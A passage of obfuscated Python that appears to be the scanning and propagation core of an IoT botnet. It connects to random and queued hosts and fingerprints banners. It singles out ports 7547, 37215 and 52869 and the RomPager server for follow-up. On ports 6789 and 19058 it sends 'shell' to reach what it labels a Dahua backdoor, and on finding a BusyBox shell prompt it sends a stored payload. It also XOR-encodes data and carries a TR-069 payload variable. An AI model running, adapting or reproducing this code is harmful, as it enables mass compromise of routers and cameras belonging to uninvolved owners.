if 63 - 63: Ii11i1iIi
Iioo0OooOoO = time . time ( )
if iI1IIi [ iiIii1I1i1 ] <= Iioo0OooOoO :
iI1IIi [ iiIii1I1i1 ] = time . time ( ) + i1iii1I11
ooOOoooOo [ iiIii1I1i1 ] = None
if 83 - 83: IIiII . Ii11i1iIi
O0ooOOo0o . remove ( sock )
OOi11i11IIii11 [ I11i1I ] = None
oOOoOoO [ I11i1I ] = None
Oo0OoOOoo00o [ I11i1I ] = None
iIiiiIIIII1i1 [ I11i1I ] = None
I11Ii11iiiii1 [ I11i1I ] = None
I11IO0O00o0 [ I11i1I ] = None
if 41 - 41: I11I1Ii * Oo0Oo % oOOo0000o + O0oo0OOOOO00 * i1 % O0oo
def oOOoOO ( ) :
global o0o0000o00o
if 11 - 11: oOoO0Ooo + oOoO0Ooo
Iioo0OooOoO = time . time ( )
OO00ooo0 = iii11II1I1I
for IIIiiiI in OO00ooo0 :
iiIii1I1i1 = hash ( IIIiiiI )
if 29 - 29: Ii11i1iIi * o0oooooO % Ii % oOOoO00oo0 / Oo0 . IIiIii1iI
if ooOOoooOo [ iiIii1I1i1 ] == None :
if 9 - 9: IIiII + o0oooooO * Ii11i1iIi * IIiIii1iI
if oOOOOOO0OO0 [ iiIii1I1i1 ] >= len ( o0o0000o00o ) :
if 84 - 84: i1IIi1i1iiI % i1
i1I11i1I111 ( iiIii1I1i1 )
continue
if 66 - 66: Ii
if 49 - 49: i1
if Iioo0OooOoO >= iI1IIi [ iiIii1I1i1 ] :
if 8 - 8: I11I1Ii * IIiIii1iI . i1IIi1i1iiI . Oo0 + Oo0Oo
O0OOo00o00o = iiiO0O000OoO0 ( i1iI [ iiIii1I1i1 ] [ 0 ] , i1iI [ iiIii1I1i1 ] [ 1 ] , OOo0OooO00 ( i1iI [ iiIii1I1i1 ] [ 1 ] , oOOOOOO0OO0 [ iiIii1I1i1 ] ) , iiIii1I1i1 )
ooOOoooOo [ iiIii1I1i1 ] = O0OOo00o00o
iI1IIi [ iiIii1I1i1 ] = 0
if 35 - 35: I11I1Ii . IIiIIiIii1I + O0oo + O0oo - i1 . o0oooooO
if 1 - 1: OOOoOooO
def o000oooOOo ( sock , webhash , jobhash ) :
try :
if 14 - 14: Ii - i1IIi1i1iiI * O0oo + Oooo % o0ooO
sock . send ( Oo0OoOOoo00o [ webhash ] )
except :
pass
if 20 - 20: Oo0 / O0oo
return 1
if 13 - 13: I11I1Ii - Oo0Oo % O0oo + Ii11i1iIi + IIiIIiIii1I % O0oo
def Ooo0OO ( ) :
global o0iIiI1Ii1Ii
global tr69client_maxconnectiontime_payload
if 65 - 65: Oo0Oo * Oo0 . oOOo0000o . Ii - oOoO0Ooo - Oo0Oo
Iioo0OooOoO = time . time ( )
if 77 - 77: i1 . i1IIi1i1iiI . o0oooooO % o0ooO
if 1 - 1: I11I1Ii
O00Oo = 0.01
IIiI1i , O0o0 , IiIIiI11I = select . select ( O0ooOOo0o , O0ooOOo0o , [ ] , O00Oo )
for O0O0 in O0ooOOo0o :
I11i1I = hash ( O0O0 )
o0oo0OOOo = O0O0 . getsockopt ( socket . SOL_SOCKET , socket . SO_ERROR )
if o0oo0OOOo != 0 :
if 30 - 30: oOoO0Ooo - oOOo0000o / IIiIii1iI . O0oo0OOOOO00
if iIiiiIIIII1i1 [ I11i1I ] == '' :
iIiiiIIIII1i1 [ I11i1I ] = '(timeout)' ;
IIii1i1i ( O0O0 )
continue
if O0O0 in IIiI1i :
O0 = ''
try :
O0 = O0O0 . recv ( 2048 )
except :
pass
if O0 :
iIiiiIIIII1i1 [ I11i1I ] += O0
if 43 - 43: IIiII - i1IIi1i1iiI % Oo0Oo / I11I1Ii / oOOoO00oo0
if 6 - 6: IIiIii1iI . i1 + I11I1Ii / IIiIIiIii1I
if 90 - 90: o0ooO + Oo0 - OOOoOooO / i1IIi1i1iiI
if 78 - 78: o0ooO / I11I1Ii . IIiII * O0oo0OOOOO00
i1iIII = iIiiiIIIII1i1 [ I11i1I ] . find ( '\r\n\r\n' )
if i1iIII >= 0 :
i1iIII += 4
else :
i1iIII = iIiiiIIIII1i1 [ I11i1I ] . find ( '\n\n' )
if i1iIII >= 0 :
i1iIII += 2
if 76 - 76: I11I1Ii - IIiIii1iI + O0oo % o0oooooO . I11I1Ii
if i1iIII >= 0 :
if 32 - 32: o0oooooO + o0oooooO % Oooo
Oo00oO0O = re . search ( 'Content-Length:\s*(\d+)' , iIiiiIIIII1i1 [ I11i1I ] )
if Oo00oO0O :
Oo00Ooo0O0Oo = int ( Oo00oO0O . group ( 1 ) )
if 98 - 98: oOoO0Ooo * Ii11i1iIi % i1 - o0oooooO + O0oo0OOOOO00
if 13 - 13: O0oo0OOOOO00 . Ii * IIiII - oOOo0000o - oOOoO00oo0 / O0oo0OOOOO00
if 40 - 40: i1IIi1i1iiI / O0oo0OOOOO00 . OOooOO0
if 25 - 25: oOOoO00oo0 * Oooo . oOOo0000o + oOOoO00oo0 - Ii11i1iIi
if len ( iIiiiIIIII1i1 [ I11i1I ] ) - i1iIII == Oo00Ooo0O0Oo :
if 51 - 51: Ii11i1iIi . I11I1Ii * IIiII / o0oooooO * O0oo0OOOOO00 / Oooo
IIii1i1i ( O0O0 )
continue
if 42 - 42: Oo0Oo - IIiIIiIii1I - Ii / i1
if 45 - 45: oOOoO00oo0
else :
IIii1i1i ( O0O0 )
continue
if O0O0 in O0o0 :
if oOOoOoO [ I11i1I ] == 0 :
if 58 - 58: oOoO0Ooo * IIiII . Ii / O0oo / oOOoO00oo0
iiIii1I1i1 = I11IO0O00o0 [ I11i1I ]
o000oooOOo ( O0O0 , I11i1I , iiIii1I1i1 )
oOOoOoO [ I11i1I ] = 1
if 87 - 87: OOOoOooO . Ii + i1IIi1i1iiI % I11I1Ii - O0oo
OoO0oOoooo = o0iIiI1Ii1Ii
iiIii1I1i1 = I11IO0O00o0 [ I11i1I ]
if Iioo0OooOoO - I11Ii11iiiii1 [ I11i1I ] > OoO0oOoooo :
if 33 - 33: oOoO0Ooo / I11I1Ii * o0oooooO * o0oooooO * i1 / IIiII
if iIiiiIIIII1i1 [ I11i1I ] == '' :
iIiiiIIIII1i1 [ I11i1I ] = '(timeout)' ;
IIii1i1i ( O0O0 )
continue
if 26 - 26: oOOo0000o / O0oo0OOOOO00 - oOOoO00oo0 - Ii
if 45 - 45: O0oo0OOOOO00
if 64 - 64: oOOoO00oo0 * Ii
if 93 - 93: OOOoOooO
if 57 - 57: Oooo + OOOoOooO / IIiIii1iI
O0O = "SPLTX"
if 70 - 70: IIiII / Oo0Oo
if 19 - 19: o0ooO % I11I1Ii / Oo0 % IIiIii1iI * Oo0 + OOOoOooO
if 61 - 61: Ii
if 95 - 95: o0ooO / i1IIi1i1iiI . OOOoOooO - O0oo0OOOOO00 / Ii11i1iIi - o0oooooO
O0i1 = { }
OoOOOOo00 = [ ]
I1Iii1i1Ii = [ ]
IIiiI111iii = { }
if 9 - 9: i1IIi1i1iiI / IIiIii1iI - Oooo % o0oooooO / i1 - oOoO0Ooo
def O00000O ( ip , port ) :
global O0i1
global OoOOOOo00
global IIiiI111iii
global I1Iii1i1Ii
if 14 - 14: I11I1Ii
if port > 0 :
O00000O ( ip , 0 )
O0O0iIiIIIIiiII1I = hash ( ( ip , port ) )
if O0O0iIiIIIIiiII1I in IIiiI111iii :
return
IIiiI111iii [ O0O0iIiIIIIiiII1I ] = 1
if not port in OoOOOOo00 :
OoOOOOo00 . append ( port )
if not port in O0i1 or O0i1 [ port ] == None :
O0i1 [ port ] = 0
if port :
i1II1 = "%s:%d" % ( ip , port )
if not i1II1 in I1Iii1i1Ii :
I1Iii1i1Ii . append ( i1II1 )
O0i1 [ port ] += 1
if 37 - 37: Oo0Oo % OOooOO0 . o0oooooO - Oooo
def III1iiIiiI ( ) :
global O0i1
global OoOOOOo00
global IIiiI111iii
global I1Iii1i1Ii
oOOo0OO = 'INPST:'
for Ooo0o0oOO0o in OoOOOOo00 :
oOOo0OO += ' %d:%d' % ( Ooo0o0oOO0o , O0i1 [ Ooo0o0oOO0o ] )
return oOOo0OO
if 9 - 9: i1IIi1i1iiI % Oooo + oOOo0000o - OOooOO0
def iIiiiiii1III1 ( ) :
global O0i1
global OoOOOOo00
global IIiiI111iii
global I1Iii1i1Ii
oOOo0OO = 'INPSI:'
for i1II1 in I1Iii1i1Ii :
oOOo0OO += ' %s' % i1II1
return oOOo0OO
if 63 - 63: Oooo * OOooOO0
def iiOo0000O ( ) :
global O0i1
global OoOOOOo00
global IIiiI111iii
global I1Iii1i1Ii
O0i1 = { }
OoOOOOo00 = [ ]
I1Iii1i1Ii = [ ]
IIiiI111iii = { }
if 66 - 66: Oooo / Ii11i1iIi
if 57 - 57: O0oo . I11I1Ii / Oooo + oOOo0000o
if 59 - 59: Ii * Oo0Oo * IIiII * oOOoO00oo0
def oooOoO0 ( job ) :
o0O0o00O = job [ 0 ]
iIi11 = len ( Oo0Oooo )
if 48 - 48: O0oo0OOOOO00 + oOoO0Ooo % O0oo . Oooo
if iIi11 == 0 :
Oo0Oooo . append ( job )
return
if Oo0Oooo [ 0 ] [ 0 ] < o0O0o00O :
Oo0Oooo . insert ( 0 , job )
return
if Oo0Oooo [ iIi11 - 1 ] [ 0 ] > o0O0o00O :
Oo0Oooo . append ( job )
return
if 86 - 86: o0oooooO * oOOo0000o % oOOo0000o
iii1 = 0
oo00o = iIi11 - 1
while True :
if oo00o - iii1 <= 1 :
if Oo0Oooo [ iii1 ] [ 0 ] > o0O0o00O :
Oo0Oooo . insert ( oo00o , job )
return
Oo0Oooo . insert ( iii1 , job )
return
o00OO0o0 = int ( ( iii1 + oo00o ) / 2 )
if Oo0Oooo [ o00OO0o0 ] [ 0 ] > o0O0o00O :
iii1 = o00OO0o0
else :
if Oo0Oooo [ o00OO0o0 ] [ 0 ] == o0O0o00O :
Oo0Oooo . insert ( o00OO0o0 , job )
return
oo00o = o00OO0o0
if 8 - 8: IIiIIiIii1I + i1IIi1i1iiI / Oo0Oo * IIiIii1iI . Ii
if 54 - 54: oOoO0Ooo . OOOoOooO / oOOo0000o * Oooo
def III111I1 ( timeval ) :
oOOoooo00o = [ ]
while len ( Oo0Oooo ) > 0 and Oo0Oooo [ len ( Oo0Oooo ) - 1 ] [ 0 ] <= timeval :
oOOoooo00o . append ( Oo0Oooo . pop ( ) )
return oOOoooo00o
if 57 - 57: OOooOO0
def iIiI1III11 ( ) :
for O0OooO0Oo0O in range ( len ( Oo0Oooo ) - 1 ) :
if Oo0Oooo [ O0OooO0Oo0O ] [ 0 ] < Oo0Oooo [ O0OooO0Oo0O + 1 ] [ 0 ] :
return 1
return 0
if 63 - 63: O0oo . Oo0
def iII1I1I ( ip , port ) :
global I1i1
if 88 - 88: oOOoO00oo0 - Ii / Oooo - i1 - oOoO0Ooo
if 88 - 88: i1IIi1i1iiI
global O0o0O0O0oOo0O
if ip == O0o0O0O0oOo0O :
return
if 71 - 71: IIiIIiIii1I + OOooOO0 . IIiII
if 69 - 69: IIiII + Ii11i1iIi * OOooOO0 % i1 + oOOo0000o
o000oO0ooO = o0o * len ( oOiI1iIiIi111 ) + I1i1
if 14 - 14: OOOoOooO / OOooOO0 . oOOoO00oo0 . OOooOO0 * Ii11i1iIi
if len ( ii1o00 ) >= o000oO0ooO :
if 55 - 55: IIiIIiIii1I . Ii11i1iIi % Ii11i1iIi - oOOoO00oo0 . Oo0
ooo000oO = int ( len ( ii1o00 ) / o000oO0ooO ) + 1
o000oO0ooO = 0
for O000Oo0O0Oo0 in range ( o0o ) :
for oo0OOOo00oOOO0OO in oOiI1iIiIi111 :
ii1o00 . insert ( o000oO0ooO , "%s:%d" % ( ip , oo0OOOo00oOOO0OO ) )
if 48 - 48: o0ooO
o000oO0ooO += ooo000oO
for OO0Oo in range ( I1i1 ) :
ii1o00 . insert ( o000oO0ooO , "%s:%d" % ( ip , random . randint ( 1 , 65535 ) ) )
o000oO0ooO += ooo000oO
else :
for OO0Oo in range ( I1i1 ) :
ii1o00 . insert ( 0 , "%s:%d" % ( ip , random . randint ( 1 , 65535 ) ) )
for O000Oo0O0Oo0 in range ( o0o ) :
for oo0OOOo00oOOO0OO in oOiI1iIiIi111 :
ii1o00 . insert ( 0 , "%s:%d" % ( ip , oo0OOOo00oOOO0OO ) )
if 67 - 67: oOOoO00oo0 % OOooOO0 - OOOoOooO / I11I1Ii
def IIii1IIi1I ( ip , scanport ) :
if 27 - 27: Oo0 + IIiII - oOOo0000o
global O0o0O0O0oOo0O
if ip == O0o0O0O0oOo0O :
Ii111i11iIi ( 'NOTC: Ignoring sentinel IP %s' % ( O0o0O0O0oOo0O ) )
return
if 26 - 26: O0oo0OOOOO00 - OOooOO0
if 26 - 26: O0oo / i1 % Ii11i1iIi + i1
o000oO0ooO = o0o * len ( oOiI1iIiIi111 )
if 95 - 95: OOooOO0 % IIiIIiIii1I - i1IIi1i1iiI * oOOo0000o / OOOoOooO
if len ( ii1o00 ) >= o000oO0ooO :
if 79 - 79: I11I1Ii % O0oo0OOOOO00 / o0oooooO + i1IIi1i1iiI + o0oooooO + OOOoOooO
ooo000oO = int ( len ( ii1o00 ) / o000oO0ooO ) + 1
o000oO0ooO = 0
ii1o00 . insert ( o000oO0ooO , "%s:%d" % ( ip , scanport ) )
if 61 - 61: oOoO0Ooo % IIiIii1iI % oOOo0000o * oOOoO00oo0 . Ii - Ii11i1iIi
o000oO0ooO += ooo000oO
else :
if 12 - 12: o0ooO % i1 / oOOoO00oo0
if 41 - 41: O0oo0OOOOO00 / IIiIii1iI * IIiII / O0oo0OOOOO00 + oOOoO00oo0 - i1IIi1i1iiI
ii1o00 . insert ( 0 , "%s:%d" % ( ip , scanport ) )
if 45 - 45: oOoO0Ooo . oOoO0Ooo * i1 * IIiII * Oo0Oo
def oo0OO0ooo0 ( ) :
if not i1iii :
return
if 80 - 80: Ii11i1iIi - IIiIii1iI * OOooOO0 * IIiIIiIii1I
if len ( ii1o00 ) > 0 :
IIiiIIIiIi1I = ii1o00 . pop ( ) ;
Ii1iiIi = IIiiIIIiIi1I . split ( ':' )
iiIi1I1 = hash ( IIiiIIIiIi1I )
if iiIi1I1 in oO0iIiiiii1 :
if 75 - 75: oOOoO00oo0 + Oo0Oo + oOOoO00oo0 % IIiIii1iI
return
oO0O0O = ( Ii1iiIi [ 0 ] , int ( Ii1iiIi [ 1 ] ) )
if 51 - 51: O0oo . Ii * o0oooooO
O0OOo00o00o = socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
O0OOo00o00o . setblocking ( 0 )
i1I1I11iii1i = hash ( O0OOo00o00o )
O000O0o0oOOo [ i1I1I11iii1i ] = time . time ( )
try :
O0OOo00o00o . connect ( oO0O0O )
except :
pass
o0o0oOOo . append ( O0OOo00o00o )
i11I11III1iii [ i1I1I11iii1i ] = IIiiIIIiIi1I
if 39 - 39: I11I1Ii . oOOo0000o / IIiIii1iI % oOOo0000o
def i111 ( scansock ) :
global oOI11IIIi1II111
global I1i
global Oo0O00OOooO
global IiiI1
global OO00oo0o
global OOoOo00oO0
global iIii1IiI11II1
if 39 - 39: o0oooooO . oOoO0Ooo / I11I1Ii / IIiIIiIii1I
try :
scansock . close ( )
except :
pass
o0o0oOOo . remove ( scansock )
i1I1I11iii1i = hash ( scansock )
if 5 - 5: OOooOO0 * oOOoO00oo0 . IIiII - Ii11i1iIi
if i1I1I11iii1i in O0OO0O00000 and not O0OO0O00000 [ i1I1I11iii1i ] == None :
if 92 - 92: oOOoO00oo0 . O0oo * Oo0Oo * o0oooooO
if 63 - 63: I11I1Ii + oOOo0000o / I11I1Ii * i1 * IIiIii1iI
if 20 - 20: I11I1Ii
if i1I1I11iii1i in i1II and not i1II [ i1I1I11iii1i ] == None and len ( i1II [ i1I1I11iii1i ] ) > 2 :
iiIIiI1I = re . sub ( '^!' , '' , i1II [ i1I1I11iii1i ] )
iiIIiI1I = re . sub ( '\s\s+' , ' ' , iiIIiI1I )
if i1I1I11iii1i in OooO and not OooO [ i1I1I11iii1i ] == None :
if oOI11IIIi1II111 :
if I1i :
Ii111i11iIi ( "%s SD:%s:%s" % ( i11I11III1iii [ i1I1I11iii1i ] , OooO [ i1I1I11iii1i ] , iiIIiI1I [ : 32 ] ) )
else :
Ii111i11iIi ( "%s SD:%s:%s" % ( i11I11III1iii [ i1I1I11iii1i ] , OooO [ i1I1I11iii1i ] , iiIIiI1I [ : 2560 ] ) )
else :
if 93 - 93: o0oooooO % oOOoO00oo0 * OOOoOooO . i1IIi1i1iiI * O0oo
Iii1 = i11I11III1iii [ i1I1I11iii1i ] . split ( ':' )
O0Ooo0 = Iii1 [ 0 ]
oo000Oo = int ( Iii1 [ 1 ] )
if IiiI1 or oo000Oo in iIii1IiI11II1 :
Ii111i11iIi ( "%s SR:%s" % ( i11I11III1iii [ i1I1I11iii1i ] , iiIIiI1I [ : 512 ] ) )
if 76 - 76: Ii - I11I1Ii * OOooOO0 . IIiIIiIii1I
if 'HTTP/' in iiIIiI1I [ : 5 ] :
if 33 - 33: IIiII % IIiII * OOOoOooO
if OO00oo0o :
oOo0OOO0000 ( O0Ooo0 , oo000Oo , O0Ooo0 + '%%%' + 'PORT:%d:' % ( oo000Oo ) + iiIIiI1I [ : 1024 ] )
if oo000Oo == 5555 or oo000Oo == 7547 or oo000Oo == 37215 or oo000Oo == 52869 or 'Server: RomPager/4.07 UPnP/1.0' in iiIIiI1I :
if 54 - 54: o0oooooO . o0ooO . Oo0Oo - IIiIIiIii1I
O0iII111i1 ( O0Ooo0 , oo000Oo )
else :
if 86 - 86: Oo0 * I11I1Ii - o0ooO + i1IIi1i1iiI
if oo000Oo == 37215 or oo000Oo == 52869 :
O0iII111i1 ( O0Ooo0 , oo000Oo )
if 85 - 85: OOooOO0 / oOOo0000o / Ii
if OOoOo00oO0 :
if oo000Oo != 6789 and oo000Oo != 19058 and oo000Oo != 37215 and oo000Oo != 52869 :
if 89 - 89: o0oooooO . Oo0Oo / oOoO0Ooo - o0ooO + o0ooO . oOOo0000o
if not 'SSH' in iiIIiI1I [ : 10 ] and not ( 'FTP' in iiIIiI1I and '220' in iiIIiI1I ) and not "RFB 004" in iiIIiI1I and not "220-FileZilla" in iiIIiI1I :
if 56 - 56: oOoO0Ooo / Ii11i1iIi . OOOoOooO
OoO00Ooo0OoOo0O0Oo ( O0Ooo0 , oo000Oo , 'PORT:%d:' % ( oo000Oo ) + iiIIiI1I [ : 512 ] )
if 80 - 80: OOOoOooO - OOOoOooO
if 65 - 65: OOOoOooO % Oooo . Oo0Oo % Oooo + Oooo
i1i1I1i1 = i11I11III1iii [ i1I1I11iii1i ] . split ( ':' )
if hash ( i1i1I1i1 [ 0 ] ) in oO0OoOoO00OoO :
IiIIiI1iII1Ii . append ( i1i1I1i1 )
else :
if Oo0O00OOooO :
Ii111i11iIi ( "%s SO" % ( i11I11III1iii [ i1I1I11iii1i ] ) )
if 42 - 42: O0oo0OOOOO00 * o0ooO + Ii
i1i1I1i1 = i11I11III1iii [ i1I1I11iii1i ] . split ( ':' )
Oo0oOOooO0 = i1i1I1i1 [ 0 ]
iII111iI = int ( i1i1I1i1 [ 1 ] )
if not iII111iI in OoooOoo0 :
iIi11II1i = hash ( Oo0oOOooO0 )
if not iIi11II1i in oO0OoOoO00OoO or oO0OoOoO00OoO [ iIi11II1i ] == None :
oO0OoOoO00OoO [ iIi11II1i ] = 1
Iioo0OooOoO = time . time ( )
for O00OoOoOOoO0 in iIoO0O000oo :
OoOo = Iioo0OooOoO + O00OoOoOOoO0 * 60
o0ooo0 = ( OoOo , Oo0oOOooO0 , iII111iI )
if 66 - 66: oOOoO00oo0 - OOooOO0 / OOOoOooO / i1IIi1i1iiI % Oo0
oooOoO0 ( o0ooo0 )
if 14 - 14: oOOo0000o . IIiII
if 6 - 6: i1IIi1i1iiI % oOOoO00oo0 + i1IIi1i1iiI
O000O0o0oOOo [ i1I1I11iii1i ] = None
i11I11III1iii [ i1I1I11iii1i ] = None
O0OO0O00000 [ i1I1I11iii1i ] = None
i1II [ i1I1I11iii1i ] = None
OooO [ i1I1I11iii1i ] = None
if 5 - 5: IIiIIiIii1I
if 49 - 49: oOOoO00oo0
def O0oOoo0000 ( ) :
global I1i11II
global O0OoO0O
Iioo0OooOoO = time . time ( )
IiiIIIiiI1 = o0o0oOOo
i1IIOO0OOoO00OO = 0
IIiI1i , O0o0 , IiIIiI11I = select . select ( [ ] , IiiIIIiiI1 , [ ] , 0.01 )
for IiI1iIIiI1I in IiiIIIiiI1 :
i1I1I11iii1i = hash ( IiI1iIIiI1I )
o0oo0OOOo = IiI1iIIiI1I . getsockopt ( socket . SOL_SOCKET , socket . SO_ERROR )
if o0oo0OOOo != 0 :
if 90 - 90: IIiII
i111 ( IiI1iIIiI1I )
continue
i1IIOO0OOoO00OO = 1
if IiI1iIIiI1I in O0o0 :
if 2 - 2: o0oooooO
if not i1I1I11iii1i in O0OO0O00000 or O0OO0O00000 [ i1I1I11iii1i ] == None :
if 45 - 45: IIiII * IIiIIiIii1I + IIiII
if 83 - 83: IIiIii1iI + OOOoOooO - oOOo0000o
try :
IiI1iIIiI1I . send ( "" ) ;
except :
if 57 - 57: i1IIi1i1iiI
if 24 - 24: oOOoO00oo0 . oOOoO00oo0 % IIiII - IIiIIiIii1I
i111 ( IiI1iIIiI1I )
continue
if 85 - 85: o0ooO * IIiII
O0OO0O00000 [ i1I1I11iii1i ] = 1
if 82 - 82: IIiIIiIii1I - OOooOO0 + i1 / O0oo0OOOOO00
Ii1i1i11I11Ii = i11I11III1iii [ i1I1I11iii1i ] . split ( ':' ) ;
o0oO0o0ooo00 = Ii1i1i11I11Ii [ 0 ] ;
O0OOOo0oOo = int ( Ii1i1i11I11Ii [ 1 ] ) ;
if 10 - 10: Oo0 . oOOoO00oo0 . oOOo0000o - OOOoOooO - i1IIi1i1iiI + IIiIii1iI
if 17 - 17: I11I1Ii - Oo0Oo / IIiIIiIii1I + IIiIii1iI
if 58 - 58: Ii11i1iIi - OOooOO0 / IIiII / O0oo / O0oo
if 99 - 99: I11I1Ii
if 88 - 88: oOOoO00oo0 * Oooo
if 46 - 46: Ii11i1iIi
if 60 - 60: IIiIii1iI / OOOoOooO
if 78 - 78: o0oooooO
if 38 - 38: IIiII * IIiIii1iI . Ii - oOOo0000o
if 66 - 66: oOOo0000o
if 95 - 95: OOOoOooO + oOOoO00oo0 / oOOo0000o
if O0OOOo0oOo in OoooOoo0 :
if 83 - 83: Oooo / oOOo0000o
if 64 - 64: o0ooO % o0ooO / oOOo0000o * O0oo0OOOOO00 - i1IIi1i1iiI + IIiII
O0OO0O00000 [ i1I1I11iii1i ] = 2
try :
IiI1iIIiI1I . send ( 'GET / HTTP/1.1\r\nHost: %s\r\n\r\n' % ( o0oO0o0ooo00 ) )
except :
pass
elif O0OOOo0oOo == 6789 or O0OOOo0oOo == 19058 :
O0OO0O00000 [ i1I1I11iii1i ] = 2
try :
IiI1iIIiI1I . send ( 'shell\n' ) ;
except :
pass
if 55 - 55: I11I1Ii + IIiIIiIii1I + Ii11i1iIi + OOooOO0 % i1IIi1i1iiI
if 44 - 44: OOOoOooO % Oo0 - IIiIIiIii1I
O0 = ''
try :
O0 = IiI1iIIiI1I . recv ( 512 )
except :
pass
if 89 - 89: i1IIi1i1iiI + Oo0 - Oooo - O0oo0OOOOO00
try :
for ii1iI1ii in re . findall ( '\xff\xfd.' , O0 ) :
IiI1iIIiI1I . send ( '\xff\xfc' + ii1iI1ii [ 2 ] )
for oo0OOO0OOoOO in re . findall ( '\xff\xfb.' , O0 ) :
IiI1iIIiI1I . send ( '\xff\xfe' + oo0OOO0OOoOO [ 2 ] )
except :
pass
if O0 :
if 68 - 68: Oo0Oo
if not i1I1I11iii1i in O0OO0O00000 or O0OO0O00000 [ i1I1I11iii1i ] != 3 :
oO0iIiiiii1 [ hash ( i11I11III1iii [ i1I1I11iii1i ] ) ] = 1
O0OO0O00000 [ i1I1I11iii1i ] = 3
if 99 - 99: OOooOO0 + IIiIIiIii1I
O0 = re . sub ( '\r?\n' , ';' , O0 )
O0 = re . sub ( '[^A-Za-z0-9 \.,:;<>\(\)\[\]\-+%!@/#$=]' , '' , O0 )
if i1I1I11iii1i in i1II and not i1II [ i1I1I11iii1i ] == None :
i1II [ i1I1I11iii1i ] += O0
else :
i1II [ i1I1I11iii1i ] = O0
if 21 - 21: i1 - IIiIii1iI . O0oo0OOOOO00 % oOOo0000o * Oooo
if not i1I1I11iii1i in OooO or OooO [ i1I1I11iii1i ] == None :
if ( re . search ( 'BusyBox v.*#' , i1II [ i1I1I11iii1i ] ) and not 'OpenWrt' in i1II [ i1I1I11iii1i ] ) or 'shell: ' in i1II [ i1I1I11iii1i ] :
O0OOOo0oOo = int ( i11I11III1iii [ i1I1I11iii1i ] . split ( ':' ) [ 1 ] ) ;
if O0OOOo0oOo == 6789 or O0OOOo0oOo == 19058 :
OooO [ i1I1I11iii1i ] = "DahuaBackdoor"
else :
OooO [ i1I1I11iii1i ] = "BusyBox"
try :
if 87 - 87: oOOoO00oo0 / oOoO0Ooo - Oo0Oo . oOoO0Ooo + oOOo0000o - i1IIi1i1iiI
IiI1iIIiI1I . send ( ii11II )
if 9 - 9: Oo0Oo % O0oo . oOOoO00oo0 . o0ooO . IIiIIiIii1I + OOOoOooO
except :
pass
O000O0o0oOOo [ i1I1I11iii1i ] = time . time ( )
if 95 - 95: OOOoOooO * OOooOO0 % Ii11i1iIi
IIiI1ii = 512
if i1I1I11iii1i in OooO and not OooO [ i1I1I11iii1i ] == None :
IIiI1ii = 2560
if len ( i1II [ i1I1I11iii1i ] ) >= IIiI1ii :
i111 ( IiI1iIIiI1I )
else :
if 13 - 13: Ii % Oooo - IIiIIiIii1I - O0oo0OOOOO00 . Oooo
if 85 - 85: IIiIIiIii1I % o0ooO
if i1I1I11iii1i in O0OO0O00000 and O0OO0O00000 [ i1I1I11iii1i ] == 1 :
if Iioo0OooOoO - O000O0o0oOOo [ i1I1I11iii1i ] > O0OoO0O :
O0OO0O00000 [ i1I1I11iii1i ] = 2 ;
o0oO0o0ooo00 = i11I11III1iii [ i1I1I11iii1i ] . split ( ':' ) [ 0 ] ;
try :
IiI1iIIiI1I . send ( 'GET / HTTP/1.1\r\nHost: %s\r\n\r\n' % ( o0oO0o0ooo00 ) )
except :
pass
if ( Iioo0OooOoO - O000O0o0oOOo [ i1I1I11iii1i ] > I1i11II ) :
if 30 - 30: oOOo0000o - O0oo0OOOOO00 . IIiIIiIii1I + i1 * IIiIii1iI % Ii
i111 ( IiI1iIIiI1I )
if 20 - 20: O0oo0OOOOO00
if 38 - 38: oOOoO00oo0 / Oo0 + IIiII / Ii / O0oo - Ii
if 65 - 65: I11I1Ii + oOoO0Ooo
def Iii1iIi1i ( data , key , encode = False , decode = False ) :
if 60 - 60: O0oo + OOooOO0 / O0oo - o0ooO
if 74 - 74: IIiII * oOoO0Ooo % OOooOO0
if 58 - 58: oOoO0Ooo . Oo0Oo % IIiIIiIii1I + i1 - OOooOO0
if 44 - 44: Ii11i1iIi + O0oo0OOOOO00 . Ii / O0oo
if decode :
data = binascii . a2b_base64 ( data )
i1i1IiIiIiii1iiiI = '' . join ( chr ( ord ( x ) ^ ord ( y ) ) for ( x , y ) in izip ( data , cycle ( key ) ) )
if encode :
return binascii . b2a_base64 ( i1i1IiIiIiii1iiiI ) . strip ( )
return i1i1IiIiIiii1iiiI
if 52 - 52: Oo0Oo . Oooo
def IiiIi1111 ( ) :
global I1i11IIii1iI1i1
global I1IiiIiii111I
if 8 - 8: Ii11i1iIi + i1IIi1i1iiI % oOOoO00oo0 - i1 - Ii % OOOoOooO
Iioo0OooOoO = time . time ( )
if 2 - 2: O0oo0OOOOO00 * OOOoOooO % Oo0 . OOooOO0 + Ii11i1iIi * IIiIii1iI
if 82 - 82: IIiIIiIii1I + I11I1Ii
Ii111i11iIi ( "STAT V: %d SCT: %d RSQ: %d BFJ: %d WPT: %d PUT: %d TRT: %d XMP: %d" % ( I1IiI1I1 , len ( ii1o00 ) , len ( Oo0Oooo ) , len ( ooooo0OOo0o ) , len ( O000oo0 ) , int ( Iioo0OooOoO - I1i11IIii1iI1i1 ) , len ( iii11II1I1I ) , len ( iIIiii11Ii1 ) ) )
if 40 - 40: O0oo - o0ooO - OOOoOooO % i1IIi1i1iiI
I1i11 = False
try :
if os . path . isfile ( '/tmp/system/update/sentinel.reload' ) :
I1i11 = True
os . remove ( '/tmp/system/update/sentinel.reload' )
except :
pass
if 33 - 33: oOOoO00oo0
ii = False
if 59 - 59: i1IIi1i1iiI . oOoO0Ooo * IIiIIiIii1I / Ii11i1iIi . oOOo0000o * I11I1Ii
if Iioo0OooOoO - I1i11IIii1iI1i1 > ( 17 * 3600 ) and len ( ii1o00 ) < 300 and len ( ooooo0OOo0o ) == 0 and len ( O000oo0 ) == 0 and len ( iii11II1I1I ) == 0 :
if 99 - 99: Ii11i1iIi
Ii111i11iIi ( 'NOTC: 17h process restart' )
ii = True
if 14 - 14: oOOo0000o - i1 - i1 . oOOoO00oo0 . oOOo0000o - O0oo
if ii :
if 72 - 72: Oooo
for iI11i1i1iiI in O0oO0ooooOO :
try :
iI11i1i1iiI . close ( )
except :
pass
sys . exit ( 0 )
if 76 - 76: oOoO0Ooo / IIiIii1iI + O0oo
if I1i11 :
Ii111i11iIi ( 'NOTC: Sentinel reloading config.' )
Oo000o0OOOo ( '/tmp/system/control.cfg' )
if 67 - 67: oOoO0Ooo - oOoO0Ooo - oOoO0Ooo / Ii
if 95 - 95: IIiIii1iI
if 30 - 30: Ii11i1iIi / Ii11i1iIi * Oo0Oo / O0oo
O00oOo = 0
try :
